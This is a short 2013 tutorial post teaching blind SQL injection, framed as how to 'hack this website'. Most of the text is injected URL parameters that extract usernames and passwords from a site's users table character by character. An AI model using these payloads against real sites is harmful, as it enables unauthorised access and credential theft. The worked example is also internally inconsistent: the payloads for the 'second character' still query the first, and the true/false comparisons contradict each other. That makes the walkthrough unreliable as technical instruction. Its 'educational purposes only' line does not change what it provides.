Blind SQLI ( complete tutorial ) What is Blind SQLi Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established Blind SQLi Tutorial Let’s Start………… Suppose That You want to Hack This website with Blind SQLi site/index.php?id=5 when we execute this, we see some page and articles on that page, pictures etc… then when we want to test it for blind sql injection attack site/index.php?id=5 and 1=1 . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false. site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>95 we get TRUE, keep incrementing site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>98 TRUE again, higher site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’. then let’s check the second character. site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),2,1))>99 Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 TRUE, the page loads normally, higher. site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>107 FALSE, lower number. site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>104 TRUE, higher. site/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>105 FALSE!!! we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually, cause that makes you better SQL INJECTOR Hope you learned something from this Tutorial. Have FUN! Note : FOr Educational Purposes only …. #Rishit
Posted on: Fri, 20 Sep 2013 14:05:56 +0000
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